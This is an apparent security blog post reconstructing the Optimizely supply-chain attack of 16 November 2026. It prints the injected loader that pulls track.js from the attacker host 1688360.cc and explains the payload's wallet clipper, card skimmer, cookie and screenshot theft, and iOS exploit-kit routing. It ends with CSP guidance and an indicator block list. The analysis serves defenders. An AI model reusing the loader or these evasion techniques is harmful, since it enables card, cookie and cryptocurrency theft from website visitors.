OPTIMJACK: Anatomy of the Optimizely Supply-Chain Compromise

The CyberSec Guru

Optimizely supply chain attack

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

On Monday, 16 November 2026, visitors to some of the most trafficked websites on the internet — CNN, the BBC, Zoom, Fox News, Salesforce, GitLab, HSBC, Equifax, Ledger, IKEA, Air France-KLM, Peacock — were served malicious JavaScript. None of those organisations had their own servers breached. The code arrived from cdn.optimizely.com, a host every one of them deliberately trusted, over a valid TLS connection, inside a file that looked exactly like the A/B testing snippet it had always been. Scott Helme of Report URI, who uncovered and documented the campaign, fetched 1,611 distinct Optimizely snippets during the incident and found 188 of them, belonging to 178 organisations, carrying attacker-written code. The payload, tracked by researchers as OPTIMJACK, swapped cryptocurrency wallet addresses, skimmed payment cards, stole cookies and page screenshots, and routed iPhone and iPad visitors into the Coruna and DarkSword exploit kits. By 19:25 UTC the attacker’s wallets had received roughly $7,040 in verified cryptocurrency. How many cards, session tokens and compromised iPhones left with them is not knowable from the outside. Optimizely confirmed the incident, attributed it to a vulnerability in its Experimentation account signup flow, and by 21:52 UTC all but one of the 188 infected snippets had been cleaned. What follows is a technical reconstruction based on Report URI’s investigation, StepSecurity’s independent payload review, BleepingComputer’s reporting, Optimizely’s own statements and documentation, and the prior exploit-kit research this campaign builds on.

OPTIMJACK at a glance

  • Date: Monday, 16 November 2026. First injection to last observed infected snippet took about seventeen hours, and the stealer itself was live for roughly thirteen of them.
  • Vector: attacker-written code placed in the Project JavaScript field of customer projects and served from cdn.optimizely.com.
  • Reach: 188 infected snippets out of 1,611 fetched, across 178 organisations.
  • Payload: track.js, a self-contained file of roughly 30 KB that was rebuilt 26 times during the day.
  • Capabilities: a wallet-address clipper covering eight chains, a payment card skimmer, cookie and screenshot theft, and routing of iPhone and iPad visitors to the Coruna and DarkSword exploit kits.
  • Confirmed theft: about $7,040 in cryptocurrency at 19:25 UTC. Later checks put the total nearer $6,600.
  • Cleanup: all but one infected snippet cleaned by 21:52 UTC.

The trust model that failed

Optimizely Web Experimentation works by having each customer embed a JavaScript snippet, usually from https://cdn.optimizely.com/js/<project_id>.js, though some accounts use public paths such as CNN’s cdn.optimizely.com/public/125375509/s/landingprod.js or the BBC’s cdn.optimizely.com/public/4621041136/s/bbcx_prod.js. The snippet is not a static library. It is a compiled bundle containing Optimizely’s runtime, the customer’s experiment definitions, and an optional field called Project JavaScript (projectJS): custom code the customer writes in the Optimizely dashboard that executes on every page carrying the tag. Optimizely’s documentation is explicit that custom code — variation code, experiment JavaScript and project JavaScript alike — is embedded directly into the client, to the point that a syntax error in any custom code block prevents the entire snippet from parsing. Customers typically place the tag early in the document head so experiment changes apply before the page renders, which means this code runs before most first-party application logic, with the full privileges of the page’s own origin.

The attacker did not touch the CDN, poison a cache, or intercept traffic. They wrote a loader into the projectJS of customer projects, and Optimizely’s build pipeline compiled and served it like any other configuration change. This is what was appended inside Zoom’s snippet, 6395285578973184.js, as preserved by Report URI:

"projectJS": function(){(function(){try{var s=document.createElement('script');
s.src='https://1688360.cc/track.js';s.async=true;
(document.head||document.documentElement).appendChild(s);}catch(e){}})();

The rest of each bundle was untouched. The try/catch wrapper matters: since malformed custom code breaks the whole snippet, the attacker needed the injection to fail silently rather than take the customer’s experiments down with it and draw attention. Report URI observed three loader variants across the infected population. Most snippets used the plain script-tag injection above. A second variant hid the URL in Base64 and decoded it at runtime with atob(), so a grep for 1688360.cc finds nothing; Smartsheet’s snippet was cleaned at one point and then re-infected with this version, which tells us the attacker still held write access during the early remediation window. A third variant embedded a full inline copy of the payload and executed it through eval() when the external fetch was blocked — a direct answer to sites whose Content Security Policy would refuse the unknown .cc host.

Two deployment patterns extended the blast radius beyond what a naive audit would catch. Customers who proxy the snippet through their own domain, such as opt.scheels.com/js/<id>.js or www.vodafone.com.au/js/<id>.js, were equally affected, because a first-party URL does not change the upstream content. And Optimizely’s own properties carried the loader too: the snippets for www.optimizely.com and login.optimizely.com were both infected, although StepSecurity observed the payload request from the homepage failing in its check. An independent write-up by Amirul Cyber, which StepSecurity partially corroborated, captured fifteen affected page loads and found that twelve reached the payload through Optimizely bundles while three arrived by adjacent routes: Fox News through an ad-tech wrapper at cdn.confiant-integrations.net/gptprebidnative/202611121858/wrap.js, American Eagle through a first-party bundle at www.ae.com/resources/aa2a454dda92a6d073ca760a2537f00c14d00114d3583, and Air France Italy through a Jscrambler-protected script. The same payload infrastructure behind more than one delivery path is consistent with an operator who had been compromising third-party script chains for months, a point the timeline below returns to.

Consent management offered no protection, and the urlscan evidence shows why. On GitLab’s affected page, the Optimizely tag carried class="optanon-category-C0002", the OneTrust auto-blocking attribute for the Performance cookies category; StepSecurity confirmed that the consent manager itself was what initiated the request to the poisoned bundle. OneTrust’s gating controls when a script executes, not what it contains — once consent exists, the tag runs as written. The transaction lists make the same point visually: in Zoom’s scan, the 305 KB Optimizely bundle (94 KB transferred) sits unremarkably between the primary document and OneTrust’s otSDKStub.js; in CNN’s, the 516 KB landingprod.js (121 KB transferred) sits among routine first-party assets. Nothing in the network telemetry distinguishes a poisoned experiment bundle from a normal one, because at the network layer it is a normal one.

Inside track.js

The payload was a single self-contained file of roughly 30 KB, and it was a moving target. Helme’s archive shows 26 rebuilds across the day, with features and wallets added but never removed. StepSecurity’s review of urlscan’s captures tracked the decoded file growing from 28,877 bytes at 16:02 UTC to 30,430 bytes by 18:11, with the final build’s Last-Modified header reading 17:56:07 UTC. The server sent cache-control: max-age=15, so the operator could roll a new version to essentially the entire victim population within seconds. Every module ran simultaneously; what a given visitor experienced depended on their device and their actions. The script set global markers to avoid double execution — window._k7 and window.__k7b in Helme’s analysis, with StepSecurity additionally observing window._cc, window._qxc and window._shot.

The clipper is the module that actually stole money, and its engineering is what separates it from crude clipboard malware. It targets eight chains — Bitcoin, Ethereum and EVM-compatible networks, TRON, Solana, TON, Litecoin, Bitcoin Cash and Dogecoin — and validates candidates against each chain’s real checksum before swapping, so it only ever replaces genuine addresses with attacker-controlled addresses that the victim’s wallet will accept without complaint. The validation routines are chain-specific: Base58Check for BTC, DOGE and TRX, where the trailing four bytes must equal the first four bytes of the double-SHA256 digest of the version-and-payload prefix; Bech32 for bc1/ltc1 SegWit addresses, with its polynomial checksum; the CashAddr Base32 checksum for Bitcoin Cash; and a CRC16 check over the 34-byte tag/workchain/account-ID structure of TON’s friendly Base64url form, alongside a matcher for the raw 0:<64 hex> representation. Ethereum candidates are 0x-prefixed 40-character hex strings, and Solana candidates are Base58 strings decoding to 32-byte Ed25519 public keys. The attacker’s own TON addresses appear in both friendly and raw form and encode the same account. Checksum validation is the difference between a scam that throws errors and one that silently redirects an irreversible transfer.

Reach is the clipper’s other distinguishing feature. The analysed build re-scans the DOM on roughly a 50-millisecond interval, gated on nearby payment keywords such as wallet, deposit or send, and rewrites text nodes, input and textarea values, and href/src attributes — including image URLs, which covers dynamically generated QR codes. The input rewriting reaches framework-managed state, not just the DOM property; the standard technique for this, necessary because React and similar frameworks ignore direct .value assignments and restore their own state on re-render, is to invoke the native setter on HTMLInputElement.prototype and dispatch synthetic input and change events so the framework binds the attacker’s address into application state. Beyond the DOM, the script hooks copy events, navigator.clipboard.writeText and readText, navigator.share (the iOS share sheet), window.open and navigation, and the URLs and bodies of outgoing fetch and XMLHttpRequest calls, so an address is swapped at essentially every point where a page can touch one. StepSecurity found it also replaces Function.prototype.call and apply, rewriting wallet-looking strings in arguments before they reach any function — an unusually deep hook that catches code paths the DOM and network sweeps would miss. Every replaced original is queued for exfiltration. The practical consequence, as StepSecurity puts it, is that an address copied from an affected page can already be swapped when you paste it into a wallet app; the only reliable check is comparing the destination on your wallet or hardware-wallet screen against the address you intended, not against what you copied.

The exfiltration module fires after the first swap on a visible element, once per page load. It pulls html2canvas.min.js from the same C2 — html2canvas is a DOM re-renderer rather than a true screen capture, which is why it is cheap to deploy and also why cross-origin payment iframes remain opaque to it — renders the visible page to a JPEG, and POSTs it to https://1688360.cc/hit.php with the page URL (truncated to 500 characters), up to 8,000 characters of document.cookie, and up to 20 of the original addresses it replaced. StepSecurity observed the POST sent as text/plain, a CORS-safelisted content type that lets the cross-origin request go out without a preflight. Cookies marked HttpOnly are out of reach, and a visitor who never handles a wallet address on the page sends nothing — the keyword gating that limits noise also limits this module’s harvest to exactly the sessions the attacker cares about: people mid-payment, with the page, the cookies and the intended address handed over together.

📬 Stay Ahead of Cyber Threats

Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.

The card skimmer was added at 13:43 UTC, five hours into the campaign. It wraps fetch and XHR and listens for form submits, recursively traversing JSON strings, FormData, URL-encoded bodies and nested objects for a card number that passes the Luhn mod-10 check and a known brand prefix, a valid MM/YY expiry, and a three- or four-digit CVV. It does not bother with cardholder names or billing addresses. Complete tuples are deduplicated per session via sessionStorage keys beginning cc_ — which, as StepSecurity notes, leaves stolen card data sitting in the victim’s own browser storage — and sent with the page URL to https://1688360.cc/card.php using navigator.sendBeacon (fields n, e, c, u). The beacon choice is deliberate: sendBeacon requests are queued by the browser and survive page unload, so exfiltration completes even as the checkout redirects to a confirmation page. The module’s one blind spot is the browser’s same-origin policy: cards typed into cross-origin hosted fields, such as Stripe Elements or Adyen’s hosted iframes, cannot be read by parent-page script. Cards typed into a merchant’s own form fields were fully exposed. This is precisely the failure mode PCI DSS 4.0 requirements 6.4.3 and 11.6.1 — mandatory since 31 March 2025 — were written for, requiring merchants to inventory, authorise and integrity-check every script on payment pages and to alert on tampering.

The iPhone branch

On iPhone, iPad and iPod user agents, track.js injected two boot.js scripts from attacker-controlled .icu routers, tagged with the attribute data-channel-code="02111110", and on iOS 18.6 or earlier added a hidden iframe loading /JIUJIU888/weifile.html. The router reads the iOS version and selects a chain: iOS 13 through 17 gets Coruna (paths /A8/ and a direct loader at /JIUJIU888/index.js), iOS 18.x gets DarkSword (/B9/, /D11/, /D12/), and iOS 26 gets a separate chain at /C10/ that, at the time of analysis, only fingerprinted the device. The kit’s own comments state that iOS 18.7.3 and later, and 26.3 and later, are patched. Devices on 18.6 or earlier reload the page every 60 seconds to retry the exploit — a visible symptom, and a rare piece of luck for anyone trying to explain to a user why their browser kept refreshing CNN.

These are not opportunistic scripts. Coruna, disclosed jointly by Google Threat Intelligence Group and iVerify on 3 March 2026, is a 23-exploit, five-chain framework covering iOS 13.0 through 17.2.1, chaining a WebKit remote-code-execution bug through a pointer-authentication bypass, a WebContent sandbox escape, kernel privilege escalation and a PPL bypass. Kaspersky confirmed that two of its exploits target the same vulnerabilities (CVE-2023-32434 and CVE-2023-38606) used as zero-days in Operation Triangulation. Within a year the kit had migrated from a commercial surveillance vendor’s customer to suspected Russian espionage watering-holes in Ukraine (UNC6353) to mass cryptocurrency theft by the Chinese financially motivated actor UNC6691; iVerify estimated at least 42,000 iPhones compromised in that wave alone. Apple backported fixes to iOS 15.8.7 and 16.7.15 on 11 March 2026, and CISA added three Coruna-related CVEs to its Known Exploited Vulnerabilities catalog. DarkSword, reported by iVerify on 18 March 2026, covers iOS 18.4 through 18.7 with its own zero-days, and the “P7” variant documented in October adds keychain and crypto-wallet data theft with two-way C2. Helme found the Coruna loader in this campaign byte-identical to a sample from an October campaign he had analysed with iVerify — their DeadTag research, which documented 660-plus expired analytics and ad domains re-registered to hijack the traffic of thousands of sites, and an exploit crew serving both kits from a fake Polymarket page, selecting by iOS version and stealing keychain secrets and wallet data from apps including TronLink, OKX, Bitget and Bitpie. The BIGNIAO channel code and the telemetry POST to l7bcsnwc7nzr3uo.icu/api/iptj in OPTIMJACK match the affiliate-style “channel code” tracking that research described.

StepSecurity’s infrastructure work shows the iPhone operation was staged in advance. The .icu domains were registered in three batches: l7bcsnwc7nzr3uo.icu on 28 October, behind Cloudflare; 5vobauua3ojpklx.icu and p55abnw2pnsz0bo.icu in the same second on 9 November (17:52:42 UTC), both on Google Cloud’s 34.96.213.201 in Hong Kong; and eil786npto9u5bq.icu, 1y69gy2mdzaltz1.icu and gm38duxoihbmy5o.icu in the same second on 16 November (16:38:42 UTC), all on 34.87.36.58 in Singapore — mid-incident, which is why the second router only appears in later payload builds. Public scans show 5vobauua3ojpklx.icu already serving /A8/a.html on 12 November, four days before the Optimizely campaign. boot.js hard-codes fallback C2s (je4ft3gn8vxudum.icu, q1ls1ho9x7wsxlu.icu, ios-hack.icu), though StepSecurity found q1ls1ho9x7wsxlu.icu absent from DNS and WHOIS at 22:07 UTC — a useful reminder that published IOC lists deserve validation before they become blocklist entries. The main C2, 1688360.cc, resolves to 136.113.106.136, a Google Cloud address in us-central1 that Shodan’s 5 November record showed exposing only SSH; StepSecurity published the host’s SSH key fingerprint so defenders can pivot to sibling servers.

Seventeen hours of live development

The actor did not appear on 16 November. Helme traces the same injector, webshell.lol, to Turkish sites on 17 September, delivered through an SEO “backlink panel” script on linkforge.cc. Between 13 and 16 November, an earlier wave pushed webshell.lol/get.js through Kissmetrics, StorifyMe and Minute Media scripts on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com. The TRON collection wallet was created on 18 March 2026. By the time the Optimizely vector opened, the operator had a working injector, a staged exploit-kit router and collection infrastructure with months of history.

The day itself reads like a product launch. The last clean urlscan capture of the BBC’s snippet is timestamped 02:21 UTC; at 04:21 the same snippet was loading webshell.lol. Certificates for 1688360.cc were issued between 04:28 and 05:23, with the domain registered at 05:23:08. The first track.js build — clipper only — appeared at 08:10 and was live on bbc.com by 08:28. Zoom’s bundle was modified at 11:20, per its Last-Modified header. At 13:03 to 13:05 the operator swept stolen funds toward exchanges, with USDC on Ethereum landing at a HitBTC deposit address; at 13:43 the card skimmer shipped. The second iOS router batch was registered at 16:38:42 and wired into the payload between 17:13 and 17:57, at which point every iOS 18.6-or-earlier visit was getting the Coruna iframe. Report URI’s sweep between 19:24 and 19:59 found 186 infected snippets out of 1,611 fetched; the documented total reached 188 across 178 organisations. Cleanup ran roughly 20:40 to 21:10 — Ledger at 20:41, Smartsheet at 20:56, the BBC at 21:07 — with 169 snippets still infected at 20:56, 41 at 21:32, and exactly one, TalkTalk’s, at 21:52. From first injection to last observed infected snippet is about seventeen hours; the stealer itself was live for roughly thirteen of them.

The confirmed financial damage is small relative to the reach, and the reporting deserves care here. Helme’s 19:25 UTC snapshot showed about $7,040 received: 0.08298 BTC ($5,380, four transactions, then unspent), 17.02 LTC ($762), 662.9 USDT plus 184 TRX on TRON ($719), 0.055 ETH ($100) and 82 USDT on BNB Smart Chain ($82). Later checks differ in the details — BleepingComputer counted seven BTC transactions, and StepSecurity’s explorer review put the combined total near $6,600 and found that a single 13:18 UTC payment of 0.0761 BTC (about $4,970) accounted for most of the Bitcoin, while the Ethereum address had received funds on 12 and 15 November, before the C2 domain even existed. The TON, Solana, Bitcoin Cash and Dogecoin addresses never received anything. Some of what these wallets hold predates the campaign, and no blockchain can tell you which inflow came from a victim. What cannot be counted at all is the card data, the non-HttpOnly session cookies, and the iPhones that loaded a nation-state-grade exploit chain in a hidden iframe. For a news site’s audience, the clipper was mostly irrelevant; the skimmer, the cookie theft and the iOS branch were the exposure, and none of those legs leaves a public ledger.

The CSP verdict

Optimizely confirmed to BleepingComputer that “an unauthorized party exploited a vulnerability in the Experimentation account signup flow” and used it to add malicious JavaScript to customer projects; the company said it blocked the vulnerable path, deployed a fix, removed the injected code, ended active sessions, revoked tokens, reset access for affected accounts, blocked code delivery in Cloudflare, and notified all affected customers. Its status page carried the incident into 17 November in monitoring state. Salesforce, as one affected customer, disabled Optimizely scripts across preview and production instances as a precaution. How a signup-flow flaw translated into write access across so many unrelated customer projects has not been publicly explained, and Report URI noted it had received no response to its outreach at the time of publication. This is also, for what it is worth, Optimizely’s second disclosed security event of 2026; a separate voice-phishing breach in February gave attackers access to internal business systems. No connection between the two has been established.

The most useful defensive data in the whole incident is Report URI’s evaluation of the Content Security Policies on 256 hosts belonging to affected organisations, measured against what the payload actually needed: a script-src allowance for 1688360.cc or an inline-execution escape hatch, a connect-src path for exfiltration, and script-src/frame-src room for the iOS kit. Sixty-eight organisations had no CSP at all. Fifty had policies that permitted both the payload and the data theft. Seventeen blocked the exfiltration with a restrictive connect-src while the clipper still ran in-page. Only 24 — about 15 percent — blocked the payload outright. Allowlisting cdn.optimizely.com was never going to help, because the malicious code arrived from that trusted host; what separated the protected sites was a script-src that listed only the hosts they needed and closed the two escape hatches that let this attack through everywhere else.

The first escape hatch is 'strict-dynamic'. Introduced in CSP Level 3 to make policies workable for tag-manager-heavy sites, it tells the browser to trust any script that an already-trusted script inserts via document.createElement, regardless of its source, and to ignore host allowlists. The poisoned Optimizely snippet was trusted; therefore track.js was trusted; therefore boot.js was trusted. The second is 'unsafe-eval', which permits eval() and friends — and which Optimizely’s own documentation tells customers to add. The docs state that features such as audiences with custom JavaScript conditions require 'unsafe-eval' in script-src, recommend a nonce-plus-'strict-dynamic' pattern for the snippet, and their example “complete” policy contains both keywords together. That page was updated on 8 November 2026, eight days before the incident. The inline-fallback loader variant ran through eval exactly where this guidance was followed: at HSBC, the CSP blocked the external track.js fetch and the exfiltration, but the embedded copy of the clipper still executed and swapped addresses locally. The docs even advise against require-trusted-types-for 'script', because Optimizely cannot apply experiment changes without unrestricted DOM injection — another browser hardening layer the product asks customers to switch off. None of this is hypocrisy on the vendor’s part; it is the honest cost of what an experimentation tool does. It is also a precise description of why a trusted tag layer is such a good attack surface.

Two further conclusions follow. First, connect-src is worth having even when script-src fails: the seventeen partial-protection sites lost the address-swapping battle but kept their visitors’ cards, cookies and screenshots, because the browser refused the outbound POSTs. Second, Subresource Integrity cannot save you here. A snippet that is recompiled every time a marketer publishes an experiment cannot be pinned to a hash, so the practical substitute is monitoring rather than pinning: alerting on fingerprint changes in known vendor bundles, on new script dependencies, on new frame sources, and on new data destinations. All of that can be driven by a CSP in Report-Only mode, which breaks nothing — Report URI’s Script Watch, Data Watch, Frame Watch and its integrity/JS Time Machine tooling are one commercial implementation of the pattern, and the underlying signals (a trusted bundle suddenly appending an unknown .cc host, a checkout page beaconing to a stranger) are exactly what this campaign would have tripped.

What defenders should do now

If you run Optimizely Web, fetch every snippet you actually serve — including any self-hosted proxy endpoints — and read the projectJS and experiment custom code, not just a grep for 1688360. The Base64 variant defeats string search, so look for atob(, eval(, unfamiliar loaders, and the payload’s runtime artifacts: window._k7, window.__k7b, window._cc, window._qxc, window._shot, the data-channel-code="02111110" attribute, and sessionStorage keys starting cc_. Record each snippet’s Last-Modified header and ask Optimizely which project IDs were modified and when. Review every user, API token and integration with write access to your projects and rotate credentials. Then work the network side: CSP violation reports and proxy logs showing requests to the hosts below — successful or blocked — identify pages where the loader was present, and a blocked request is evidence of exposure, not evidence of safety. Search logs back to at least 08:00 UTC on 16 November.

Treat the data legs as real incidents. Cards entered into your own form fields (outside cross-origin hosted iframes) on 16 November should be treated as compromised, with issuer and customer notification as appropriate; session tokens and secrets in non-HttpOnly cookies should be invalidated and rotated for users active that day. Helme’s advice to consider telling your customers you served them malware is uncomfortable and correct. Structurally, move card collection into your payment provider’s cross-origin hosted fields, strip every non-essential tag from checkout pages, and align with PCI DSS 6.4.3 and 11.6.1 script inventory and tamper-detection duties. On policy, deploy a CSP with a restrictive script-src and connect-src, drop 'unsafe-eval' wherever your tooling allows, be deliberate about 'strict-dynamic' alongside any script that can inject other scripts, and turn on reporting. A cheap behavioural test from the OPTIMJACK write-up complements all of this: paste a canary wallet address into a staging page and compare what gets submitted — with the caveat that keyword-gated payloads may ignore obvious test pages. For visitors, the guidance is short: verify any crypto transfer made that day against the intended address on your wallet or hardware-wallet screen, watch card statements, and update iPhones and iPads to iOS 18.7.3 or later, or 26.3 or later (Apple’s March backports cover older devices); anyone who suspects a hit should reboot, change keychain-stored passwords and move funds to a fresh wallet, and high-value targets should consider Lockdown Mode, which Coruna explicitly checks for and aborts against.

The attacker infrastructure, published by Report URI and StepSecurity, is worth blocking wholesale, including subdomains:

1688360.cc C2: /track.js /hit.php /card.php /html2canvas.min.js
136.113.106.136 (Google Cloud, us-central1)
5vobauua3ojpklx.icu iOS router /boot.js, /A8/ — 34.96.213.201
p55abnw2pnsz0bo.icu same batch/IP as above (registered Nov 9, 17:52:42 UTC)
eil786npto9u5bq.icu iOS router, /JIUJIU888/weifile.html, /JIUJIU888/index.js
34.87.36.58
1y69gy2mdzaltz1.icu same batch/IP as above (registered Nov 16, 16:38:42 UTC)
gm38duxoihbmy5o.icu same batch/IP as above
l7bcsnwc7nzr3uo.icu Coruna telemetry, POST /api/iptj (Cloudflare, reg. Oct 28)
webshell.lol injector /get.js (earlier wave)
linkforge.cc SEO-panel script carrying the injector
je4ft3gn8vxudum.icu, q1ls1ho9x7wsxlu.icu, ios-hack.icu
fallback C2s in boot.js (q1ls1ho9x7wsxlu did not resolve
in StepSecurity's Nov 16 check)
SHA-256:
617df364120adc47fb4f55dcc0c69a9b6c9e108a92c60bc2b64a266254ab02f3 track.js (first capture)
814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f track.js (17:13 build)
f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40 track.js (final, 17:56 UTC)
2f69879f1c5bdfe9c075ef67ddb6405afe992aff89dcf42863567f83237d3ba6 eil786 boot.js
Attacker wallets (hard-coded in track.js):
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
ETH 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e (also BSC/EVM)
TRX THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
SOL FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
TON UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
TONr 0:2033556a49942224b486e70fa8beeaeae4265dc4b10adffec2326c002d30397b
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
BCH qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5

Because the payload was rebuilt 26 times, match on behaviour and destinations rather than any single hash. Report URI retains an archive of every infected snippet with response headers, hashes and fetch times, available to affected organisations and CERTs.

The lesson that keeps recurring

OPTIMJACK is not a story about one vendor’s bad day. Six weeks earlier, the DeadTag research showed the same exploit kits reaching iPhones through expired analytics domains nobody had bothered to remove; in late October, a compromised performance-monitoring script on Polymarket drained roughly $2.6 million in about fifty minutes under a CSP that allowed every step. The common thread is that third-party JavaScript is production code with full page privilege, typically owned by marketing, invisible to code review and repository scanning, and mutable at the vendor’s discretion — and, as this incident demonstrated, at the discretion of whoever compromises the vendor. The organisations that came out of 16 November intact did not do anything exotic. They listed only the script hosts they needed, refused dynamic trust propagation and eval, restricted where pages could send data, and watched what their dependencies actually did in visitors’ browsers. Every one of those controls was available, documented and free before the attack. The gap was never technical capability; it was treating the tag layer as someone else’s problem.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.